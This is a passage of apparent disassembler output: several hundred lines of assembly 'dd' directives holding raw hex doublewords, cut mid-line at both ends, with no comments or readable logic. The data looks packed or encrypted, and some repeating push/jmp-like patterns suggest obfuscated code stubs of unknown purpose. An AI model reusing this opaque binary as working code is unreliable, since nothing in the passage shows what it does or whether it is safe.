73138A66h, 65F890EBh, 0A5E73013h dd 0CD12905Eh, 0D66B03E3h, 9A232525h, 2CCF620Ah, 0F19A2324h dd 3D684D12h, 7C5389D6h, 631A57A2h, 0D5000003h, 9C620558h dd 44BADD22h, 0BF79AE5h, 0F13150ADh, 240C136Eh, 81DC5FEBh dd 5DA200FEh, 1467C43Ah, 0D62B8D75h, 324FDBB3h, 0A005C949h dd 113B0CEEh, 0FBC7328Fh, 0E1052479h, 0D76A067Dh, 0ABCFD2C9h dd 3048C7A4h, 0AED0098h, 2FA00B96h, 9556214Ch, 62C5A00Bh dd 7E5A391Fh, 0B9614E3h, 4AFEABA0h, 8DD0539Dh, 67BC3C02h dd 5A361B28h, 0E8F3D8D4h, 687983h, 0AF110000h, 0A586F14Ch dd 9D85768Bh, 0C9AAA00Bh, 294D08EFh, 0CC91EC4Fh, 86D95AA4h dd 7AC7270Bh, 6F492E3Fh, 0CBC2BAD7h, 8665ABCFh, 9B7F740Bh dd 35B2A00Bh, 2283AFEAh, 7CCB50DFh, 0AC7B2CC8h, 0DECCE3CEh dd 4DE5BDF9h, 0B7D4730h, 9512ECA0h, 0D28B654Ah, 0DF67A72Eh dd 0CA3483E8h, 0DBE7126Dh, 48200558h, 0DF0Ch, 8F11D300h dd 5AD82632h, 0CCF22B05h, 2EAF0D6Bh, 941EDB47h, 332CF10Eh dd 53D95F9Ah, 0CE492EFCh, 0C03E80E0h, 2F139E63h, 42D170CDh dd 0A5ED7282h, 0D574C92Bh, 1A368BEDh, 0D87599B5h, 3503A332h dd 4D46AEFCh, 56BE8E23h, 2201ABCFh, 1E8CC916h, 2428491Bh dd 55993D4Ch, 59FF123Eh, 84A5EFB1h, 0C42789A7h, 0DABF0464h dd 54D31DB7h, 29D26F09h, 0E9A264Ah, 0FA7D432Dh, 652774A7h dd 88E17C50h, 201D7h, 67BA3700h, 3F84FEC0h, 0F447A618h dd 0B20F6D55h, 8DD053AFh, 0B90D82EAh, 7A44EB36h, 3E80A7FCh dd 0E7DB7EC1h, 3D193885h, 0C7EF8825h, 5634A005h, 338E1165h dd 0D16C842Ch, 0A5EDB426h, 7E40280Bh, 2997A1FEh, 0B30E6DCDh dd 17826744h, 0A1CB5A36h, 2680E05Fh, 0A88D5ED9h, 83745C61h dd 6F2E294Dh, 32603693h, 0EF0987Dh, 72453B0h, 37F91129h dd 0A4F97BBBh, 9D7B48C7h, 0CF43F880h, 0D1583BABh, 0B13B542h dd 4EB0C8A0h, 4263AEF1h, 8A49FF76h, 83E87582h, 0B223h dd 8F11B400h, 78FBC732h, 0AD97EA25h, 1EA5EDB8h, 0C937419Eh dd 0CE9F1A67h, 0FD7F43E2h, 871F69A0h, 0EDAE916Ah, 0DBB596A5h dd 0F7732549h, 3CA075D6h, 0A68B51B2h, 0DB755A6Bh, 0CF698646h dd 0C76A49ABh, 2C443FA7h, 0EFDDE491h, 0C26E4DA5h, 8207BFCh dd 19F74CA6h, 0EA35B608h, 50316CB3h, 88F9307Ch, 106h, 0C76AB530h dd 1F227FFBh, 58FF42A3h, 92B50A66h, 0D170CB2Ch, 3BBC0887h dd 16141E0h, 0C6259DBCh, 8AEAD47Bh, 20381235h, 5C6EA8Dh dd 9A6D4FA0h, 0D22E8E11h, 5C21028Dh, 8C4C933Dh, 0C5501D7Eh dd 7F00D2Bh, 2CA5EDA9h, 1D9F614Fh, 1148A1C0h, 0ADC7328Fh dd 0E7F7CA15h, 3E7F23B6h, 0ECD46417h, 0EEAC9A5h, 0D563C020h dd 0DA7CCB8Ah, 0F6B079Bh, 816647B2h, 0F07496B7h, 0AB60FD9Bh dd 0A8ABD4E0h, 0E243ADCBh, 6533109Fh, 5DA2022Ch, 1F64C43Ah dd 24B6FD90h, 81FDDB02h, 3463BE21h, 0FBC73217h, 9FE9207Dh dd 8157902h, 75DDBE65h, 0B3E840C4h, 469B1BE5h, 972186CBh dd 2CCD1160h, 54E8614Fh, 7F025FC1h, 55DC2183h, 6D0EA33Bh dd 0B2650896h, 0BB3907D1h, 87E4CA66h, 49255C34h, 47A96C10h dd 965B1CB1h, 60DE6508h, 0D1B79403h, 684D90EFh, 9A1AE48Bh dd 9708F30Eh, 4E2D6508h, 3712E69h, 78000000h, 94112E19h dd 80E0CE49h, 6DCAF423h, 5BDBE712h, 44A78B06h, 2FB0BEF9h dd 1F9DA5ECh, 0A6B57C2h, 0FC7678B7h, 575C68A7h, 0B850E789h dd 4, 8358C701h, 3C8704EFh, 0CA685C24h, 89000025h, 4682414h dd 89000075h, 6857242Ch, 23E5024Eh, 5E7C15Fh, 4689E781h dd 0C7816691h, 0A167A1FFh, 3C8BFA89h, 4C48324h, 5A68h dd 24248900h, 4240483h, 4EC815Dh, 89000000h, 458F2414h dd 2434FF08h, 4C4835Dh, 5A2434FFh, 4C481h, 11E90000h, 70FFFB5Fh dd 0EE4CB892h, 0C50305E7h, 0A020E0FFh, 0DC4511BCh, 648C4D7Bh dd 0BAE71661h, 0D9572494h, 0BE602C20h, 0F564336h, 52294A6Dh dd 7460355Dh, 712806D5h, 22931041h, 594B66B9h, 92A832D3h dd 172627F2h, 0B75C716Eh, 20ED7604h, 21C140D9h, 0BD7604Eh dd 461828C6h, 9B1A5B7Ch, 17500CFAh, 94BD7048h, 4B1B3ADBh dd 75DF316Ah, 0B7C170DFh, 0DD105CEh, 0AE85B34h, 95000000h dd 0AFB16B2Eh, 61EDFC08h, 0EE95B7Ah, 0D2000000h, 0AACDEC0h dd 62C28D12h, 0CB38F36h, 8BC3814Bh, 0E9000073h, 8, 0FCA02CBDh dd 0C007E045h, 1CAEBAh, 0AE800h, 85730000h, 82030986h dd 67BC13E1h, 8C0Fh, 8B5F0000h, 0F78B6603h, 3E70F081h dd 69B15E6Eh, 75FCE881h, 9E85648h, 0E9000000h, 46320148h dd 483FFE11h, 5EFFB70Fh dd 9835C081h, 10E92EE0h, 42000000h, 4B9EDEA2h, 0C6163C55h dd 5534F5ECh, 8981BF2Fh, 0D2C18003h, 6602EB83h, 4B4BF38Bh dd 1EA81F5h, 0F000000h, 1685h, 2CE900h, 4F3C0000h, 258C6340h dd 3679F764h, 6608E914h, 0F512E1Bh, 58Ch, 78CBE00h, 80E94F3Ah dd 38FFFFFFh, 0A68A7B7Fh, 8C24F49Ch, 0ABE9E234h, 50000000h dd 1C3F2E8Dh, 0DA5F72B1h, 95A7ACABh, 0F44592B3h, 0B395A1h dd 0A7ECABDAh, 0B2915D20h, 96B1F46Bh, 55207520h, 0F26BB79Bh dd 9692A5BCh, 3A7594A1h, 9FB79960h, 0B599BD32h, 0A59CB2E9h dd 0ACA3F292h, 0B1EF7695h, 0F94E0097h, 9FA5B4h, 0F07B6B5Ch dd 8A924Ah, 45F352D0h, 0A3F653F5h, 44D6D979h, 45E3AFF1h dd 0D77D41F4h, 9792B000h, 0FD756BBFh, 96BFCF60h, 0B293BCF9h dd 57207D20h, 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h, 8F899BE0h dd 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h, 1E80097h dd 3D94E7A6h, 2B7D8332h, 0B1E94485h, 68000012h, 5E7F2A8h dd 0FA8F4AE9h, 0F3A768FFh, 40E905E7h, 68FFFA8Fh, 5E7F49Ah dd 0FA8F36E9h, 0F61868FFh, 2CE905E7h, 68FFFA8Fh, 5E7F69Ch dd 0FA8F22E9h, 0F75068FFh, 18E905E7h, 68FFFA8Fh, 5E7F7E3h dd 0FA8F0EE9h, 0F88A68FFh, 4E905E7h, 68FFFA8Fh, 5E7F92Ch dd 0FA8EFAE9h, 0FA8768FFh, 0F0E905E7h, 68FFFA8Eh, 5E7FB61h dd 0FA8EE6E9h, 0FCB568FFh, 0DCE905E7h, 68FFFA8Eh, 5E7FE30h dd 0FA8ED2E9h, 0FFF168FFh, 0C8E905E7h, 68FFFA8Eh, 5E80103h dd 0FA8EBEE9h, 0FABE38FFh, 2D696DDCh, 9418C0A1h, 0FEBC3B0Eh dd 266C91D0h, 5B6403B8h, 0B3F61CA2h, 0ED5C7A48h, 4227A3EFh dd 0CB8B1795h, 485C1DBAh, 88F5F9FFh, 0E9696E42h, 18B90F40h dd 3C69C6FCh, 0F8D4A0Dh, 0C76E7FFCh, 0B15D5B9Ch, 0B2B59986h dd 0FAD84115h, 7CE35801h, 0AEFDB93Dh, 0A8F19C2Dh, 0F9FAA79Bh dd 33764E88h, 3FE62DDEh, 3C4Dh, 7B187100h, 0BCBD1A9Dh dd 55FC18B9h, 0B90C4D1Eh, 6EC5FC18h, 31CB46EDh, 46B3D52Ch dd 9DF466C3h, 502F01FAh, 206C6ED1h, 9E93FC87h, 8DF9FADDh dd 0D9347B4Bh, 763FE677h, 0F2h, 23696E48h, 5E6499D8h, 555384CFh dd 0CF0C4F36h, 0A831BAC1h, 6C6A30A9h, 18BD4FFBh, 9D3ABDFCh dd 0FC18BDDCh, 0A2AD3E75h, 166B7735h, 0C140DBE1h, 8A53599Eh dd 89B8ACB1h, 0FAEEF620h, 26830201h, 0F9FA8C35h, 0A1714BECh dd 0F0CE1FD6h, 8FE422BBh, 37BFFE03h, 1AA32873h, 0D5023C21h dd 0A4E79AD7h, 0DF1C6F35h, 326830Eh, 0E1041F79h, 7198D97Eh dd 0F249F7DEh, 25404E8Fh, 4EF317B0h, 0DE7168E9h, 95C2B9F7h dd 642AD392h, 0F9A574E5h, 0AEFDC338h, 46EA2C2Dh, 0DCE01A4Dh dd 0EFBB0C49h, 0D653619Ah, 0FE7DA297h, 1AA48F9Ah, 0C6000010h dd 3B0E9410h, 6ED3FFBBh, 0C9B8266Ah, 3F02880Eh, 5DEAF0BEh dd 0AEF4E9B6h, 149A4120h, 7D41BB8Eh, 0A1E71051h, 6FC83925h dd 0F9FF4BEEh, 6EBC7E27h, 6BB276Dh, 0AF4DAC91h, 0D3062EA3h dd 0C03DBECDh, 397F78E7h, 7B18D79Dh, 6691D057h, 9EEDAB2Ah dd 5085E05Dh, 0B9C788D1h, 211EFC18h, 0BEB01998h, 5101FAD1h dd 180831Ah, 0A138399Eh, 92E9F9FAh, 0FAA188C9h, 0D9E259F9h dd 0FAA1C370h, 9E96D0F9h, 0E62BB66Bh, 0A354173Fh, 0BA5FC4E5h dd 63000000h, 0C98A2FAEh, 18FC18B9h, 22D79A23h, 891E0164h dd 0DE2CF21Bh, 0E16079E5h, 0A57B6FCh, 0FC18B17Ch, 810D8B4Ch dd 7C7B37A0h, 0ADAE0B3Eh, 64FC18A9h, 7E4BD20Fh, 0DD4AFDD1h dd 0CE853B5Ah, 3794851Eh, 0A0AE105Dh, 80296871h, 1FABB16h dd 13C4C2B9h, 82275A0Eh, 41FEAF4h, 6ED1502Fh, 0C6BB276Dh dd 0DD628F15h, 0DCFE7D4Ah, 0F1BE649h, 0FC90000h, 0BA3A0F8Bh dd 6991D0FEh, 0DC8B925h, 0BD3E038Fh, 0B55CEBF7h, 21ADF3E8h dd 8F0B9940h, 567C40BAh, 3AA0E613h, 0ED6ECB3Ah, 24F9FF4Ah dd 6D6EBD79h, 76612027h, 0A7A83130h, 7EFC18B9h, 9FE2B801h dd 1FA5565Ah, 0F4124F8Ch, 23696ECEh, 5A6099D8h, 810DCDBCh dd 82783B7Ah, 0ED6EEF3Eh, 491B4960h, 76F9C249h, 0C1C53181h dd 275A0E94h, 3062A37h, 0FA2B70A6h, 6CDCAB01h, 4019B7CBh dd 7A6EF3F6h, 0D20544C7h, 58AAF3D4h, 4BFC97EBh, 71E6A9FCh dd 0E1189B4Dh, 0A0348D3h, 17B034D7h, 0E017315Eh, 0D80043DAh dd 0CF04B1D4h, 0C07AEF92h, 2FEE6340h, 1642AD3h, 0C34E9FD4h dd 0B1802866h, 92284302h, 72B2F140h, 1A5DCC39h, 8E33DFDDh dd 1C3A4B19h, 0BC1D0C54h, 0F52D9CBBh, 7A01D6Ah, 0E6139F58h dd 376C30AAh, 5954BDFAh, 7217010Fh, 0E2813h, 8602F400h dd 0E9AD2918h, 505C9CEDh, 0BA00F74Ah, 0E2B02D1Ch, 17A84FE4h dd 4F32D8E6h, 0A998068Ch, 1E636F33h, 0F37D3D9h, 4DE051F6h dd 4C31F9FFh, 23696E8Eh, 0F47C7D3Ch, 18B9E253h, 0F4433FCh dd 0C76E7FFCh, 0DE4165EAh, 0FA7BDC5Fh, 30FC18B9h, 18B9A697h dd 1A007FFCh, 97339C2Dh, 4E01FAEAh, 66D94EF1h, 33B7F9CAh dd 0C4F79334h, 53F46B5Fh, 418618Bh, 0F15EAD9Ah, 0F7DC7D7Ch dd 0EA1DE96Fh, 45C8D737h, 5894h, 0A3521500h, 18E6C4E5h dd 139F5D7Bh, 13164388h, 0FB057BB6h, 0A2A59201h, 0DA7FF9E3h dd 0F9FAF499h, 869FAD45h, 0A1AD6736h, 0D6719DCAh, 0F9FA355Bh dd 0AC2A7069h, 9C4F1FDDh, 0CF719BD3h, 82EF212Ah, 0B0B4CB00h dd 5885C47Bh, 0C172D74Ah, 10F9FA85h, 98FB825Bh, 0D49h dd 577B18A2h, 892E51D0h, 0FC18B9C8h, 0AA35A114h, 50FE9A5Dh dd 46A5E911h, 0A60FD815h, 200FDDEh, 44C77A31h, 0F1F364C5h dd 5522F9F0h, 8E0CCD74h, 2EB82100h, 295BAD20h, 56B5E252h dd 51D0F499h, 0E8084B08h, 57169907h, 498219A5h, 0C8287FF0h dd 0D996F7h, 0FBBAAD9Ah, 35DC64FEh, 12218993h, 1F8839A5h dd 6D33A84h, 9489102h, 46B3CAD0h, 0DAFC29D9h, 0CB13280Fh dd 0B742F354h, 0A493F7C8h, 9B5FF86Fh, 0B20A2ADDh, 325C0ECFh dd 644029E0h, 875A21Fh, 0F891B0DBh, 0AA78DBAEh, 7600000Ch dd 0AB9E0480h, 1E636F2Bh, 79C8D6DAh, 0AF92387Eh, 0CD7A602Eh dd 5E649926h, 840AF1B0h, 0EDB12B1Eh, 515780E1h, 0DF7889B5h dd 0F9FF4F9Eh, 0AE0CCEB7h, 7770EAEFh, 705498DFh, 0E04992CFh dd 0FC187853h, 23260A17h, 68C186h, 0BA206302h, 852697F6h dd 74372A01h, 6AE33A86h, 6A6F2E51h, 16C3A62Ch, 2AAE9190h dd 0C5206C6Ch, 0FB825B90h, 3A2D010Eh, 125B499Dh, 6E8BE004h dd 0FE799AF7h, 26C4AFFAh, 0F200000Ch, 271A8004h, 9AEFEBAFh dd 0F5B4525Eh, 2B1E8402h, 49E6ECB2h, 0DAE815AAh, 8E4D3Ch dd 6935A79Ah, 0DDDB1C6Dh, 53F40D31h, 0F9FF4FE2h, 6E887233h dd 99D82369h, 64275A60h, 93D22977h, 0DFE82569h, 0D2A224B4h dd 40F825Fh, 673293Ah, 0AE1D0000h, 45A0EEEFh, 51FEB710h dd 84BCA7Dh, 38BDC8CCh, 31F2221Fh, 8C5D658Eh, 27D323h dd 0F275C202h, 298E4AB3h, 0F9F0C728h, 745582F9h, 0F8D4A0Dh dd 7339BE83h, 0C7324F28h, 0E976F9F0h, 0D30342C5h, 2E8BF6D7h dd 41294B8h, 0C8892E53h, 0C2F7D216h, 0F9728917h, 4CA9E65Dh dd 0FE79CF13h, 72C0A3C6h, 3E00000Bh, 93D6FCB8h, 0C6BB2763h dd 21008E12h, 97EAF0B6h, 5B25866h, 169C415Eh, 7C42B988h dd 0A5E91356h, 98F4839h, 7A0C18Dh, 0F9FF4E56h, 6E44868Fh dd 99D82369h, 0B2275A60h, 0FB085E03h, 2C3790B5h, 276A5A8Ch dd 3A047AEAh, 5C041h, 0FB886500h, 0BFFC18B9h dd 88BBE92h, 0F2098D49h, 0B96FE079h, 0C3A6FC18h, 0C0759016h dd 6ACF328Bh, 200A948h, 3A7DEC5Bh, 6ED3FFBDh, 0EFD82369h dd 7EDB4E62h, 41D1A68h, 3A4FB483h, 0CDFE7A5Ch, 0ADFD9B8h dd 4B8D0000h, 0F6FE434Fh, 0A55514B2h, 498CFD19h, 0F9E24743h dd 0F1902FABh, 65612FACh, 0C3CFD504h, 0AA307C7Eh, 7E6422D7h dd 0A9AA0F76h, 78F9FF4Eh, 0EFAEF135h, 571AA3E7h, 5E81E4A2h dd 60881399h, 469B0EE6h, 0E73A040Fh, 77F52472h, 0ECECD84Dh dd 2D526BA0h, 525h, 0EDEFAE11h, 7EDB5AA1h, 0FC18B9FDh dd 0D9E25F14h, 0D84F63E0h, 0A9487Fh, 53D6AD02h, 18A1E710h dd 9B21D699h, 4F8BCA7Fh, 10D7CA43h, 0E125466Ch, 5A6099D8h dd 0B5C966C3h, 808DF9FFh, 0CE1CBDACh, 61041DE6h, 4196ED0Ah dd 0F095FE7Bh, 0A3891h, 0B6F2E400h, 199D5928h, 404C8CFDh dd 0AAF0E75Ah, 12A05D2Ch, 7987FF4h, 7FC2C8D6h, 0D9A8367Ch dd 0E739F23h, 1FC7C3C9h, 411041E6h, 5CC1F9FFh, 23696E9Eh dd 71D659D8h, 0FC18B9C0h, 0DE815A11h, 0E0089319h, 0B5FBFEA1h dd 0D75A2A14h, 3A040FFAh, 48051h, 0C6889500h, 0B4FC18B9h dd 0C584BBAFh, 0FA738A18h, 0AA3FBEE1h, 0E24360C0h, 16C149BDh dd 0AB433D5Eh, 9218C100h, 21BCE049h, 64D30200h, 7735A2E5h dd 0DBE1166Bh, 0CCEA7740h, 0D44B800Ch, 12943773h, 94116E04h dd 0FE79D389h, 9696F98Ch, 42000009h, 0B78A1094h, 0EA5F7B3Fh dd 4524A2EEh, 0BB8E1492h, 0D9567C42h, 2A78653Ah, 901EDDACh dd 0F9C5370Ah, 2D6B6CDDh, 0E344BDA1h, 0F9FF4072h, 6E38E2A3h dd 59D82369h, 4DD8E416h, 47B0BF08h, 2E883A41h, 0A92856h dd 0FC18B94Fh, 0D807586h, 4F0BAC8Bh, 5186C912h, 0CC14F4Bh dd 0A33A04EBh, 14Ch, 23696E87h, 5A6099D8h, 2D8A0DBCh, 0FC18B92Ch dd 138D8EE5h, 8E962C0Eh, 0B2DFA831h, 0CF68EB9Eh, 0FC18EA8Eh dd 3753599Ch, 87206F78h, 1FA8BB3h, 41F257EAh, 90F9FACBh dd 6EFB6EDBh, 510EBDF1h, 0F9BF3807h, 0EBFC29A2h, 0A54AE740h dd 1F59F9FAh, 0A1581B27h, 7A438813h, 0E62B11CCh, 44BE3Fh dd 0AE800000h, 0EAA5B939h, 5770A9D7h, 0AADDF19Eh, 0FA5B4D0Dh dd 5CAF8401h, 0FA1B7EF3h, 0CA8C4CF9h, 0FA1BEC6Dh, 114E25F9h dd 0D914B8Ah, 5C281EFEh, 6617C538h, 1D4A4AD9h, 36794D8Bh dd 3FE6BCDBh, 9670h, 0EFAE4A00h, 5807A0EEh, 4382199Fh dd 4EF1149Ah, 79F80389h, 6D9C3A80h, 0F4E5AD2Ah, 0A9E657B6h dd 31A61952h, 4D09526Bh, 5FFC18E4h, 0C5F61C9Ah, 54F57458h dd 1FD4240h, 0ACF0EA5Fh, 0EF3E7C7Dh, 4F0E316Eh, 0A79A008Eh dd 2C036836h, 6F045FA3h, 83B3B1Ah, 0EFE90000h, 9A5A2FABh dd 49B1F01Eh, 0EDE85945h, 9D5E23AFh, 957C8B17h, 0C1CDD308h dd 0AF2B7960h, 769C20DAh, 0DAC0C633h, 0D4EEB1Ah, 0C4F9FF43h dd 6D6E9D59h, 99ECAA2Dh, 0A21FA556h, 0DF186975h, 6E373DD9h dd 99D82369h, 0E6AA5060h, 86BC2DA9h, 0C6000002h, 9F5D7B18h dd 6A3A613h, 1FACAF4h, 6C35502Fh, 0F9FAA8D7h, 56B5F1E5h dd 45A0EEEFh, 8DA79FD9h, 0FE16632Dh, 0C8589595h, 9E73B68Eh dd 0D3FE670h, 22Eh, 0B9C48831h, 0A9B6FC18h, 80038285h dd 18B93627h, 3790EFFCh, 0A9B4EEh, 0E160DF02h, 39B73F7Eh dd 0FF49DF90h, 0CC3976F9h, 0A4AB3CB9h, 18697533h, 7542D9DFh dd 0E445C4E8h, 41D1C86h, 6038A3E2h, 0A3FA3775h, 3E75912Ah dd 7A5BC8F1h, 7FC6A3FEh, 761h, 0C1CDC90Fh, 0AA307460h dd 739F23D7h, 0C5C1C70Eh, 0AD297764h, 0AD2E6F16h, 5386FBE7h dd 0FAE0414Dh, 0A05928B6h, 0B1F0FC1Ah, 0FF422728h, 77B7FEF9h dd 40E9696Eh, 0FC18B90Fh, 0E93C69C6h, 0D02B7166h, 0C4276B91h dd 0B97BFC5Dh, 0DDAAFC18h, 0DF2E6A6Ah, 0CF3105A7h, 0C93501ABh dd 54588010h, 0BFFF681Fh, 704D5C98h, 5F6397CAh, 2669988Eh dd 5992E9AFh, 0D627FA80h, 5F843A04h, 0BE000001h, 40E9696Eh dd 0FC18B90Fh, 0E93C69C6h, 0AF2B7166h, 9C83A7ACh, 0FAD85F3Bh dd 0EDEAAD01h, 5E1FB8AFh, 0F7F9FAA6h, 8CFB2FB8h, 0A6631079h dd 0F670F9FAh, 0C53170FEh, 528F0BCBh, 0E8D8B739h, 0F4D5B4FAh dd 0E63B9B76h, 2E303Fh, 180A0000h, 0AF388B7Bh, 5047AF0Fh dd 93C3641Bh, 4201FA0Dh, 0C63372F5h, 9730A5C0h, 4D8EA38Ch dd 5B9DF9FAh, 7E9246Bh, 0B8463FE7h, 78000000h, 0AE29696Eh dd 2968B3E8h, 9E2F7566h, 1642AD3h, 89319DEh, 0C8A10C9h dd 190B8FDBh, 3E7C7DFCh, 9CBAA790h, 63E65359h, 0FD3A36C6h dd 46B3F201h, 54236740h, 5B6992D5h, 1D9C1F82h, 0FDBDBBBCh dd 0CC1D6AF9h, 0D74A5885h, 0BB90F842h, 476088E7h, 0B7FDFE43h dd 5F13494Ah, 2A751004h, 60Dh, 7D991DDBh, 0C6CCC80Ch, 0AF2B7763h dd 719D1BDAh, 0D9C5CB30h, 1FAC3A2h, 0A75217B3h, 4E8CFD19h dd 0F4E54442h, 0DD2428B6h, 0FF45FB7Ch, 0A36B2AF9h, 0BB276D6Eh dd 0D9E49106h, 172B4277h, 84DD8E6h, 92470AD3h, 0BE841514h dd 0B79EF570h, 0A3622435h, 8917F209h, 0AE6C6A30h, 4A0BAC2Fh dd 9BFC18B9h, 0B9DA9BACh, 3C0BFC18h, 7533A4ABh, 662AAF16h dd 9EDF2E72h, 1ABF3E21h, 0FC18B959h, 7C2AB388h, 24EDh dd 696E1100h, 6099D823h, 801BA950h, 878F1E4Bh, 0D445F1C5h dd 0A7A010A7h, 0C339465h, 80C1CDCBh, 24h, 0E8EFAEBAh, 0A15619A2h dd 61A0E611h, 60D53076h, 0FB77D02Bh, 0A6FC18B9h, 0FFBD387Bh dd 229064EEh, 0EDEBF7B5h, 0C98A2FAEh, 18FC18B9h, 60E433FFh dd 87FC194Fh, 528DF596h, 775032C7h, 58830FC8h, 318E1D4Ah dd 8609382Ch, 78B1A207h, 0B60FC18h, 6B8369B2h, 0B5820200h dd 62A633B2h, 17678D24h, 911DDD0Ch, 79F8C10Ah, 6D9C3A80h dd 0DAAB41FCh, 3B8CD40Bh, 8CFC334h, 0F9365582h, 4EF17054h dd 0DB1088D9h, 0D0E9FB2Eh, 0E84FCA77h, 35340307h, 840AF3B2h dd 6CD3F461h, 0C328F16Bh, 0BF321C6Bh, 0FB5CDF42h, 0F7C8087Ah dd 0E1048870h, 904DEE74h, 0E0E4AB34h, 0D5B10A47h, 0C6256394h dd 0C14064E9h, 2AD07278h, 51DE950Ah, 0F8925A9Ch, 922B0A1Fh dd 5E000004h, 0B3F61C98h, 0E65B4743h, 4120AEF2h, 0B78A1096h dd 25527846h, 367C613Eh, 9C22D9A8h, 0C5C93376h, 296F68D9h dd 0E740A1ADh, 0F9FF4776h, 6E24E6AFh, 2A72369h, 0B10A9843h dd 3843498Eh, 0C77A40B9h, 7F485484h, 281C5ED4h, 1E9C5B1Ah dd 575582CDh, 246A91D0h, 78F95EC1h, 0A9FC18B9h, 464465D2h dd 41305D8h, 793FA83Ah, 69A643h, 5F1C815Ah, 26000000h dd 3C9D7B18h, 0FC18B93Bh, 41F257EAh, 90FC18B9h, 0E316EDBh dd 0FB0556A9h, 41C0BF01h, 51D0DC1Eh, 216D6F2Eh, 87C891DAh dd 5EF9FAF4h, 99C2D8E1h, 0F9FAF4E6h, 0E26523D4h, 0EBB92063h dd 51025B90h, 80F9FAF4h, 0F57412ABh, 654642B2h, 0D17600FAh dd 0F9FAF460h, 7E8DFAB1h, 3C017h, 696E2F00h, 6099D823h dd 96BBBC5Ah, 12B743B8h, 0FC18B921h, 114EBBF0h, 0CB6CEF6Eh dd 0FC18B98Ah, 0B976E740h, 0D0AFFC18h, 83ECFD4Ah, 1FAD8B7h dd 2D0A91EEh, 0F9FAA610h, 0BEF1C503h, 3FE62E63h, 28C8h dd 7B18F200h, 0C777D057h, 501FAD1h, 0D6099742h, 0DB4F9824h dd 330196Ch, 10F9FAA1h, 76ABDED6h, 0D53FE62Bh, 0D6h, 8A2FAEE9h dd 0FC18B9C9h, 0D79A2318h, 0A2E56422h, 0A6177632h, 6F77E05h dd 0F5E26DB8h, 0ECED54B7h, 83A720AEh, 0A1FC18BDh, 15547238h dd 6A47A6E4h, 1F5EC1E5h, 348D3D7h dd 30D277BAh, 6301FAD3h, 35921514h, 0F9FA9804h, 0B42366DDh dd 631D5F6h, 0B3323519h, 0EE038126h, 19A21401h, 1F7162B0h dd 8BBEF504h, 568713C8h, 43B83D48h, 61F9E247h, 0DE6897D8h dd 84F14EF7h, 7DA7707Fh, 5F2643FEh, 2D1h, 0B15D599Fh, 1A8004F0h dd 0E3EFB327h, 0B551579Eh, 1DB907F4h, 3DBEFFE6h, 0E3166B77h dd 8A7031DDh, 30A99806h, 1606C6Ah, 0FF46B7B8h, 0E7276EF9h dd 20276D6Eh, 0BA3F7961h, 0F72CA9FCh, 0E1AD2D94h, 0C3E4519Ah dd 377562C7h, 0C8C7130h, 3790CDCBh, 2FAE9553h, 18B9C98Ah dd 9A2318FCh, 9988BCA1h, 0FAD13E30h, 4E8BCA01h, 5C2B7F48h dd 0A1D360C9h, 0FBE1F9FAh, 0EEED54B7h, 0A18CCD6Ah, 0EE45F9FAh dd 0C4826AB1h, 0FE7888F0h, 2B4E8306h, 7CFF3FE6h, 0FAAD9ADBh dd 0EBFC4BF9h, 0BAA6h, 29B62300h, 0F1806698h, 6ED09637h dd 0BD3C2369h, 18B95B1Ch, 0E6AC51FCh, 73C85687h, 5B80C36Ah dd 0DD693655h, 0EFFC18BDh, 6F35A6EAh, 6462DF1Ch, 0B7D6D405h dd 4EF1D57Ah, 0FAD339E9h, 0F7136801h, 0F46B5FC4h, 1F48DC53h dd 0C77A3104h, 26835784h, 0F7DE6835h, 7BFC5DECh, 0AAF7DE68h dd 342B60DDh, 0E2398575h, 0F74A5069h, 5E73B806h, 49FE7DA7h dd 1BF553Ch, 6B6D0000h, 16DEA32Fh, 0C5357492h, 696CDDF9h dd 19C2A723h, 11F00F8Bh, 45414F8Ch, 23AFF5E4h, 8A109C5Eh dd 5E4442B7h, 89CA6F96h, 58F9F0B8h, 39AE11D5h, 0A25B649Ah dd 3B477B1Ch, 43B8A700h, 0E710517Dh, 6E3F25A1h, 99D82369h dd 0CDBC5A60h, 4A56840Ch, 3E4DBA33h, 0F9685CC1h, 0FAC0B650h dd 9BE25901h, 0F541353Fh, 0C0838604h, 55598119h, 7F488D18h dd 8FA3A0ABh, 9F23D998h, 6098CF0Ch, 0A3048B5Ch, 418C333h dd 515D9FE2h, 995E81E4h, 64D1D7CFh, 0BAEDF63Ah, 0A22B723Eh dd 2A6C1675h, 0D1F59A5Ah, 3FC909AEh, 80030A3Eh, 0B6971BC1h dd 0EDBFBF85h, 40C6E75Ch, 5D9AEFEBh, 76D3A555h, 0EDBFBFC5h dd 93EA271Ch, 579EED5Ah, 0A0E613A5h, 0BF5718A1h, 0B18EEDBFh dd 9FD92144h, 21D89BA7h, 0D2074A93h, 0E91255D4h, 2B6026D1h dd 206691D0h, 825B90C5h, 9A4ED384h, 6337A4E7h, 64D1347Ah dd 0B8FCF82Fh, 50DFE86Dh, 5DC6EFF7h, 98432610h, 0EBAADD0Ah dd 1358A3EFh, 0A1E0A3CAh, 0E8577036h, 7733A3EFh, 5D07E33Ah dd 0C2E66B69h, 0FC5DDC5Fh, 0EB91B47Bh, 81B217AAh, 50EB91B4h dd 0B41DAE1Bh, 1673CD2Ah, 57008EE5h, 0C663E6CAh, 1F6BBFE6h dd 15994302h, 0E81356B4h, 0DD0A43DAh, 5084C74Eh, 0BF38399Eh dd 92E9DF4Bh, 1CDD8425h, 0EF246094h, 53599EE3h, 0E49D6FC8h dd 69E81ED6h, 9DE8B426h, 0EFC78F58h, 4A505683h, 618402F7h dd 6AB1F7FEh, 84F2C28Ch, 0F8495553h, 65D673FFh, 6798D896h dd 64D13472h, 0D55481FEh, 0C4276592h, 442F3697h, 0Dh, 0A726A77Eh dd 18B95102h, 12AB80FCh, 2C686E54h, 5B6196D9h, 575B81C0h dd 404E8D34h, 7341BA25h, 6E34A928h, 9B21D41Fh, 9519C100h dd 8307CF76h, 8956F278h, 4C681E6h, 83000000h, 343304EEh dd 24343124h, 5C243433h, 81E78957h, 4C7h, 4EF8100h, 87000000h dd 895C243Ch, 1168242Ch, 8900002Ch, 8868243Ch, 8900000Ch dd 56B9240Ch, 8905E7F1h, 5C6859CDh, 8900007Ch, 4812424h dd 424h, 0EC815F00h, 4, 8F242C89h, 34FF0847h, 0C4815F24h dd 4, 56242C8Bh, 0C681E689h, 4, 8704C683h, 0E95C2434h dd 0FFFA7CABh, 0C73CB44Dh, 2E7A3DF3h, 0E802E7B8h, 0FFC50305h dd 0C53A8CE0h, 